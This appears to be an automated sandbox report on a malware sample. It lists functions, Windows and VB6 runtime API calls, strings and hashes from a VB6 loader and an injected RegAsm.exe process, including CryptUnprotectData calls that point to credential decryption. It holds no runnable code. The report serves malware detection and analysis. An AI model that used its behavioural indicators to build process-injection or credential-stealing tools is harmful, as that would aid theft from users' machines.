API String ID: 4275171209-1289494552
Opcode ID: 87d2fc298d88100d9e85556acc11b9daa3d29778462bfcd784457eb1f510a318
Instruction ID: 71f16cd86ae745cfe8dea190d0eef044927f690371f0837267857ace90a6e9d0
Opcode Fuzzy Hash: 87d2fc298d88100d9e85556acc11b9daa3d29778462bfcd784457eb1f510a318
Instruction Fuzzy Hash: F671BC62B197004B875998BE44D0856D9C39FDF261339F63E611DE3366FD69CC0A1248

Uniqueness

Uniqueness Score: -1.00%

Function 004037ED, Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 225memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00011000,-55F690BE,73BC8DA1,00000089), ref: 00403850

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: tz(
API String ID: 4275171209-1289494552
Opcode ID: 90add0ff136190bc55623ee01dee1c3ecf3847b860df582b1f77c0f1a8640af7
Instruction ID: 7ad94f394c29afe4fc1abab62003c0181c97fd363a19bf9c2722c036e54b2b0f
Opcode Fuzzy Hash: 90add0ff136190bc55623ee01dee1c3ecf3847b860df582b1f77c0f1a8640af7
Instruction Fuzzy Hash: 7A41AB26B197000B875988BE58D0966D5C3DFEF221329F63E651EE7366FE79CC0E1248

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040386A, Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: tz(
API String ID: 0-1289494552
Opcode ID: a9c46699fafd46f583c66d6c19507c8e5b4666cda42982f8d3100186f69eb9d3
Instruction ID: 09f495779542494593730db22563abeeeafa1f6150ae40ae616ae883db59190b
Opcode Fuzzy Hash: a9c46699fafd46f583c66d6c19507c8e5b4666cda42982f8d3100186f69eb9d3
Instruction Fuzzy Hash: 2531AF25B197000B876988BE54D0966D9C3DFEF221329F63E651DF7355FA79CC0E1248

Uniqueness

Uniqueness Score: -1.00%

Function 004038EC, Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9751c44b316f675573da8ce69d5349cc2082c566ad623d63d439d550465370ef
Instruction ID: 790e93f29b88906085497470bf58da34b7a2702965a0a20e87a186029f09e33f
Opcode Fuzzy Hash: 9751c44b316f675573da8ce69d5349cc2082c566ad623d63d439d550465370ef
Instruction Fuzzy Hash: 39218E66B197000F876988BE48C0962D9D7DBEF221329F63E650DF7315FA79CC4E1648

Uniqueness

Uniqueness Score: -1.00%

Function 00403973, Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca667ef80d41adf834a3e608d7aeb187f7d1295332adf01d67da9c8e8c8dabe
Instruction ID: b86020300969cc96369ff83250838a2605f3ad8e46cbb14bbc149e83e3c452eb
Opcode Fuzzy Hash: 2ca667ef80d41adf834a3e608d7aeb187f7d1295332adf01d67da9c8e8c8dabe
Instruction Fuzzy Hash: 0D21DD65B083400FCB148CBD0681462DDDAABFB332214AE7F958BF7391E57D8E0A194C

Uniqueness

Uniqueness Score: -1.00%

Function 004039F7, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b61edc0120be03985d1035aeb35c85c2800329264e7309b4a380a48e8686239e
Instruction ID: 50fa884e776f2ee0e63b734702e6667c640b4187d29c202afbc6544ac2d38092
Opcode Fuzzy Hash: b61edc0120be03985d1035aeb35c85c2800329264e7309b4a380a48e8686239e
Instruction Fuzzy Hash: ABF0BE2AB093000F8761CCBE44C0802EAD2EBAF221361B53D9589E7316E5BCCC4A5648

Uniqueness

Uniqueness Score: -1.00%

Function 00403A74, Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0af9fa2adcfbdd754852881740537fe60fe28db9fa180ca6994e3db64bb9bf86
Instruction ID: 0428094ed9620887d6e578ea495fb41149ec5cb3aeae0d5aec2dced94ad4cf9f
Opcode Fuzzy Hash: 0af9fa2adcfbdd754852881740537fe60fe28db9fa180ca6994e3db64bb9bf86
Instruction Fuzzy Hash: 65C092DAB027100F4B2248FE05C0150C8E4EBAF139326B079D68DE3326E0BCCC8F2118

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8AB, Relevance: 52.7, APIs: 28, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 0041A8FD
__vbaVarDup.MSVBVM60 ref: 0041A912
#562.MSVBVM60(?), ref: 0041A91B
__vbaFreeVar.MSVBVM60(?), ref: 0041A931
__vbaNew2.MSVBVM60(00412358,0041C380,?), ref: 0041A951
__vbaHresultCheckObj.MSVBVM60(00000000,0079E8DC,00412348,00000014), ref: 0041A976
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412368,00000138), ref: 0041A9AB
__vbaFreeObj.MSVBVM60(00000000,?,00412368,00000138), ref: 0041A9B3
__vbaNew2.MSVBVM60(00412358,0041C380), ref: 0041A9CB
__vbaHresultCheckObj.MSVBVM60(00000000,0079E8DC,00412348,00000014), ref: 0041A9EB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412368,00000138), ref: 0041AA16
__vbaFreeObj.MSVBVM60(00000000,?,00412368,00000138), ref: 0041AA1E
#705.MSVBVM60(?,00000000), ref: 0041AA33
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041AA3D
__vbaFreeVar.MSVBVM60(?,00000000), ref: 0041AA45
__vbaNew2.MSVBVM60(00412358,0041C380,?,00000000), ref: 0041AA5D
__vbaHresultCheckObj.MSVBVM60(00000000,0079E8DC,00412348,0000001C), ref: 0041AA7D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041239C,00000050), ref: 0041AA9C
__vbaFreeObj.MSVBVM60(00000000,?,0041239C,00000050), ref: 0041AAA4
__vbaNew2.MSVBVM60(00412358,0041C380,?), ref: 0041AAC4
__vbaHresultCheckObj.MSVBVM60(00000000,0079E8DC,00412348,00000014), ref: 0041AAE4
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412368,00000068), ref: 0041AB07
__vbaFreeObj.MSVBVM60(00000000,?,00412368,00000068), ref: 0041AB0F
#611.MSVBVM60(00000000,?,00412368,00000068), ref: 0041AB14
__vbaStrMove.MSVBVM60(00000000,?,00412368,00000068), ref: 0041AB1E
__vbaFreeStr.MSVBVM60(0041AB54), ref: 0041AB3E
__vbaFreeStr.MSVBVM60(0041AB54), ref: 0041AB46
__vbaFreeStr.MSVBVM60(0041AB54), ref: 0041AB4E

Strings

Sprinkelvrkernes, xrefs: 0041A98D
Inferencing, xrefs: 0041A9F4

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$New2$Move$#562#611#705Copy
String ID: Inferencing$Sprinkelvrkernes
API String ID: 3821766861-2317132577
Opcode ID: 3e662752adc950e673ca24938ca8b1aa937aaac394932d63a3eee998726f7be8
Instruction ID: e1d6213dbb2461efc977ec385980cc505a630a04909a4afdbedf1bc21416078b
Opcode Fuzzy Hash: 3e662752adc950e673ca24938ca8b1aa937aaac394932d63a3eee998726f7be8
Instruction Fuzzy Hash: 38717071940208ABCB10EFA5CC85EDEBBB8AF14704F54813EF505B71E1DB785985CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041A643, Relevance: 31.7, APIs: 21, Instructions: 181COMMON

Download Yara Rule

APIs

#585.MSVBVM60 ref: 0041A695
__vbaFpR8.MSVBVM60 ref: 0041A69A
#705.MSVBVM60(?,00000000), ref: 0041A6C1
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A6CB
__vbaFreeVar.MSVBVM60(?,00000000), ref: 0041A6D3
__vbaNew2.MSVBVM60(00412358,0041C380,?,00000000), ref: 0041A6EA
__vbaHresultCheckObj.MSVBVM60(00000000,0079E8DC,00412348,00000014), ref: 0041A70E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412368,000000D0), ref: 0041A737
__vbaStrMove.MSVBVM60(00000000,?,00412368,000000D0), ref: 0041A745
__vbaFreeObj.MSVBVM60(00000000,?,00412368,000000D0), ref: 0041A74D
__vbaNew2.MSVBVM60(00412358,0041C380), ref: 0041A764
__vbaHresultCheckObj.MSVBVM60(00000000,0079E8DC,00412348,00000014), ref: 0041A788
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412368,000000B8), ref: 0041A7B4
__vbaFreeObj.MSVBVM60(00000000,?,00412368,000000B8), ref: 0041A7BC
#685.MSVBVM60(00000000,?,00412368,000000B8), ref: 0041A7C1
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041A7CB
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00414450,00000044), ref: 0041A81C
__vbaFreeObj.MSVBVM60(00000000,00000000,00414450,00000044), ref: 0041A824
__vbaFreeVarList.MSVBVM60(00000004,00000002,?,?,?), ref: 0041A83B
__vbaFreeStr.MSVBVM60(0041A890), ref: 0041A882
__vbaFreeStr.MSVBVM60(0041A890), ref: 0041A88A

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$MoveNew2$#585#685#705List
String ID:
API String ID: 1883905597-0
Opcode ID: ea2de225c01cdf2588fa8be011a0f9470ae6cea7567b796f2bab0018fe5fb0c4
Instruction ID: faa436c94c4aea4e2d09e0cbd6a295be1dfb7a949f6dab894a97c3d3c1c1df0f
Opcode Fuzzy Hash: ea2de225c01cdf2588fa8be011a0f9470ae6cea7567b796f2bab0018fe5fb0c4
Instruction Fuzzy Hash: 9A515CB1940208ABDB04EFA5CC86EDEBBB8EF54304F14412BF505B71E1D7785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041A488, Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 0041A4A6
__vbaI4Str.MSVBVM60(00414430,?,?,?,?,00401676), ref: 0041A4E4
#704.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041A510
__vbaStrMove.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041A51A
__vbaFreeVar.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041A522
__vbaOnError.MSVBVM60(00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041A530
#706.MSVBVM60(00000001,00000000,00000000,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041A542
__vbaStrMove.MSVBVM60(00000001,00000000,00000000,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041A54C
__vbaVarDup.MSVBVM60(?,?,?,?,?,?,?,00000001,00000000,00000000,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041A596
#595.MSVBVM60(00000002,00000000,0000000A,0000000A,0000000A,?,?,?,?,?,?,?,00000001,00000000,00000000,00000000), ref: 0041A5AD
__vbaFreeVarList.MSVBVM60(00000004,00000002,0000000A,0000000A,0000000A,00000002,00000000,0000000A,0000000A,0000000A), ref: 0041A5C4
__vbaOnError.MSVBVM60(000000FF,00414430,?,?,?,?,00401676), ref: 0041A5D5
__vbaFreeStr.MSVBVM60(0041A61A,000000FF,00414430), ref: 0041A60C
__vbaFreeStr.MSVBVM60(0041A61A,000000FF,00414430), ref: 0041A614

Strings

Gregarinian, xrefs: 0041A582

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$ErrorMove$#595#704#706ChkstkList
String ID: Gregarinian
API String ID: 2605556234-529014253
Opcode ID: 047f682ecca75d772eca4d2394a5f5c2dc0936c98ad13c974aca611970dcada4
Instruction ID: a2808a2faebf5330154114b1eca479162d512fb65cef25f8d666b4e630263b75
Opcode Fuzzy Hash: 047f682ecca75d772eca4d2394a5f5c2dc0936c98ad13c974aca611970dcada4
Instruction Fuzzy Hash: DD410EB1D01208ABDB10EFD1C945BDDB7B9AF04714F60812AF1217B1E1DBB85A09CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041AB71, Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00412358,0041C380), ref: 0041ABB3
__vbaHresultCheckObj.MSVBVM60(00000000,0079E8DC,00412348,00000014), ref: 0041ABD7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412368,000000C8), ref: 0041AC00
__vbaFreeObj.MSVBVM60 ref: 0041AC08

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$FreeNew2
String ID:
API String ID: 4261391273-0
Opcode ID: 715011691d1457d6fb414dd643c94c7b7013173fc6f037994d4eecf7d425fa17
Instruction ID: 0693555d3577e5a9b09ce1932a97a52b888d36052913cbc81ce8639205fadc1b
Opcode Fuzzy Hash: 715011691d1457d6fb414dd643c94c7b7013173fc6f037994d4eecf7d425fa17
Instruction Fuzzy Hash: 8411CA70981608BFD700DB65CC4AEEFBAA9EB54704F10851AF500B31E0D7BC2985CBA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exe PID: 5796 Parent PID: 9196 RegAsm.exeCOMMON

Executed Functions

Function 00927166, Relevance: 4.0, APIs: 2, Instructions: 962libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00927307
LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 34cb935442935099d354e83e8154d964f3b6338946e25fa3af521b162e9ec67d
Instruction ID: 58f836776862c98aa4ae41792a659209e4a0c10f09cf3bb52ce340403c3c051d
Opcode Fuzzy Hash: 34cb935442935099d354e83e8154d964f3b6338946e25fa3af521b162e9ec67d
Instruction Fuzzy Hash: D3A22474A05228CFDB65EF74C88879DBBB6BB49305F2044EAD50AA3354CB349E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 1CAAED10, Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 1CAAF40D

Memory Dump Source

Source File: 0000000C.00000002.5770948951.000000001CAA0000.00000040.00000010.sdmp, Offset: 1CAA0000, based on PE: false

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 066da9e2b3a343cd38f3151c61461739b1b40e000f9734fb45cac39912cca5df
Instruction ID: 4a7392ad0139310537adbd677c2d895cc1e7d8e7ddb0d5debcd5a2789be85dcf
Opcode Fuzzy Hash: 066da9e2b3a343cd38f3151c61461739b1b40e000f9734fb45cac39912cca5df
Instruction Fuzzy Hash: 1B115676800249DFCB10CF99C844BDEBBF8EF48320F10841AEA14A7250C339A551DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1CAAF3A1, Relevance: 1.6, APIs: 1, Instructions: 54encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 1CAAF40D

Memory Dump Source

Source File: 0000000C.00000002.5770948951.000000001CAA0000.00000040.00000010.sdmp, Offset: 1CAA0000, based on PE: false

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 84eecabfd430e090fa5f6be9795b40b1132aeedaa8cfcf648c3e100bac05b252
Instruction ID: 400a45d70e7293b7f6145507add269fa9c1026525a7e67fdad564d36a2f1ee24
Opcode Fuzzy Hash: 84eecabfd430e090fa5f6be9795b40b1132aeedaa8cfcf648c3e100bac05b252
Instruction Fuzzy Hash: A411567680064ADFCB11CF99C844BDEBFB4EF88320F14841AEA59A7251C339A651CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DB2A2D5, Relevance: 6.2, APIs: 4, Instructions: 153threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 1DB2A386
GetCurrentThread.KERNEL32 ref: 1DB2A3C3
GetCurrentProcess.KERNEL32 ref: 1DB2A400
GetCurrentThreadId.KERNEL32 ref: 1DB2A459

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5eb2b42cac3d06071f1ec2a1fdfc4caa11a28a6f72dad7018c47db17bc06ca22
Instruction ID: 2bccb7a782924d1d23dd4e5a2c666b2297fe5e6188c71f8719dae52c640d246b
Opcode Fuzzy Hash: 5eb2b42cac3d06071f1ec2a1fdfc4caa11a28a6f72dad7018c47db17bc06ca22
Instruction Fuzzy Hash: A761D070C053898FDB01CFA9D948BEEBFF0EF49304F14849AE05AA7251D735A944CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1DB2A308, Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 1DB2A386
GetCurrentThread.KERNEL32 ref: 1DB2A3C3
GetCurrentProcess.KERNEL32 ref: 1DB2A400
GetCurrentThreadId.KERNEL32 ref: 1DB2A459

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: eb02c33f2a5b0753840913531df8cc26fdeb6deefac3667b6077fb6b1ed9402d
Instruction ID: a72e5a4bd3e6b27e43717ad3e27634030c7425ed6b15720993de89b0e2374f7f
Opcode Fuzzy Hash: eb02c33f2a5b0753840913531df8cc26fdeb6deefac3667b6077fb6b1ed9402d
Instruction Fuzzy Hash: FA5187B0D00649CFDB00CFA9D988BAEBBF1EF88314F208459E41AA7750D735A944CF66

Uniqueness

Uniqueness Score: -1.00%

Function 1C9E98CC, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1C9E9949

Strings

LR~l, xrefs: 1C9E9980
LR~l, xrefs: 1C9E99E4

Memory Dump Source

Source File: 0000000C.00000002.5769583625.000000001C9E0000.00000040.00000010.sdmp, Offset: 1C9E0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID: LR~l$LR~l
API String ID: 2994545307-1976474053
Opcode ID: 6cc83f60784c97569738b24c1601d4cba5989184bf59f78c85e24ad04ebb5557
Instruction ID: 0c25f55c05f0a3b03ec6c4f507649dd3721e0f8f7ef36b7376ebd6de802f3f00
Opcode Fuzzy Hash: 6cc83f60784c97569738b24c1601d4cba5989184bf59f78c85e24ad04ebb5557
Instruction Fuzzy Hash: 9651C531B043489FCB05EBB4D884ADEBBB6BF89200F158969E106DB361EB70E805C761

Uniqueness

Uniqueness Score: -1.00%

Function 1C9E98E8, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 148libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1C9E9949

Strings

LR~l, xrefs: 1C9E9980
LR~l, xrefs: 1C9E99E4

Memory Dump Source

Source File: 0000000C.00000002.5769583625.000000001C9E0000.00000040.00000010.sdmp, Offset: 1C9E0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID: LR~l$LR~l
API String ID: 2994545307-1976474053
Opcode ID: 11b6f4a3c59a710ee7c7c39f8049b9240dd110268426a9d458bf6e1b6c8a49b5
Instruction ID: 487fef70676cdc1e66b03bea28a38b23f382691e6039d5f877e3ab26b0e1cf38
Opcode Fuzzy Hash: 11b6f4a3c59a710ee7c7c39f8049b9240dd110268426a9d458bf6e1b6c8a49b5
Instruction Fuzzy Hash: F8519235B002199FCB05EBB4C888ADEB7B6BF89200F158969E506DB350EF70EC45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00927187, Relevance: 3.6, APIs: 2, Instructions: 635libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00927307
LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: a46fb65fa24cd6d79807e19488eb05ef38d66592f5a1fd286b9716a751a0b5eb
Instruction ID: 04bbe499cae88adcb68c409be31a019e2079ae3ae3443cd66ff8492c12379b5b
Opcode Fuzzy Hash: a46fb65fa24cd6d79807e19488eb05ef38d66592f5a1fd286b9716a751a0b5eb
Instruction Fuzzy Hash: 86621574A09228CFDB64DF74C88879DB7B6BB49305F6044EAD50AA3754CB389E86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 009271CE, Relevance: 3.6, APIs: 2, Instructions: 626libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00927307
LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 8347a8bc3496666fd429566848da385ef22777636e571a42e1daf2c4f95b58a3
Instruction ID: 51862c3a43db59ec351da571412ef1fc1523eb9c49b9b3fa59b8b1e0f6d891f2
Opcode Fuzzy Hash: 8347a8bc3496666fd429566848da385ef22777636e571a42e1daf2c4f95b58a3
Instruction Fuzzy Hash: D1621574A09228CFDB64DF74C88869DB7B6BB49305F6044EAD50AA3754CB389E86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0092720C, Relevance: 3.6, APIs: 2, Instructions: 621libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00927307
LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 33d0c5069753ca7637e0c0951342551f3cdbe4a77f8508bc7a08901c46560c63
Instruction ID: 9f8352a1741f0e405a353c9a0af3f9d4f1bf4906fb02c94cad8d167c30b0389e
Opcode Fuzzy Hash: 33d0c5069753ca7637e0c0951342551f3cdbe4a77f8508bc7a08901c46560c63
Instruction Fuzzy Hash: 9F521574A09228CFDB64DF74C88879DB7B6BB48305F6044EAD50AA3754CB389E86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00927253, Relevance: 3.6, APIs: 2, Instructions: 614libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00927307
LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: afa1b34727a49bce08c7e9771008aa8c6fcd9102be7be811be26fd2d2281f960
Instruction ID: 5c0bce1dd8d77f00f7a59932515fd82fb74f73d96bdabf4bf31217961409dcd7
Opcode Fuzzy Hash: afa1b34727a49bce08c7e9771008aa8c6fcd9102be7be811be26fd2d2281f960
Instruction Fuzzy Hash: 60521574A09228CFDB64EF74D88879DB7B6BB48305F5044EAD50AA3754CB389E86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0092729A, Relevance: 3.6, APIs: 2, Instructions: 607libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00927307
LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: d8943fc394ab5464868679e040c3dd67629d070f6d29fd91f8c9f883c443905d
Instruction ID: d4a402535981155d78e11c920bca4daf13442359ce18fce1f1a16f5605227730
Opcode Fuzzy Hash: d8943fc394ab5464868679e040c3dd67629d070f6d29fd91f8c9f883c443905d
Instruction Fuzzy Hash: 24521574A09228CFDB64DF74D88879DB7B6BB48305F6044EAD50AA3754CB389E86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 009272E1, Relevance: 3.6, APIs: 2, Instructions: 600libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00927307
LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: c8932514d0cd3405f2e7bddbcfc5d59e52dc105a32bdce1ca7e41e78eab408c8
Instruction ID: ae080310a369cf29c7d5ca82fe83b9b45551aefb8be468f8fee9b03c42a1e82a
Opcode Fuzzy Hash: c8932514d0cd3405f2e7bddbcfc5d59e52dc105a32bdce1ca7e41e78eab408c8
Instruction Fuzzy Hash: 58521574A05228CFDB64DF74C88879DB7B6BB48305F6044EAD50AA3754CB389E86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0092733E, Relevance: 2.1, APIs: 1, Instructions: 589libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0b8ee803674656328b7ff3e06d039303d4d7e2bc45e2f741b1a42f16050248d5
Instruction ID: 588a7d242006bed342394db1f4a80d72ad9e1c5de70c8093643406c58c80dc46
Opcode Fuzzy Hash: 0b8ee803674656328b7ff3e06d039303d4d7e2bc45e2f741b1a42f16050248d5
Instruction Fuzzy Hash: B9521574A05228CFDB64EF74C88879DB7B6BB48305F6044EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00927385, Relevance: 2.1, APIs: 1, Instructions: 580libraryCOMMON

Download Yara Rule

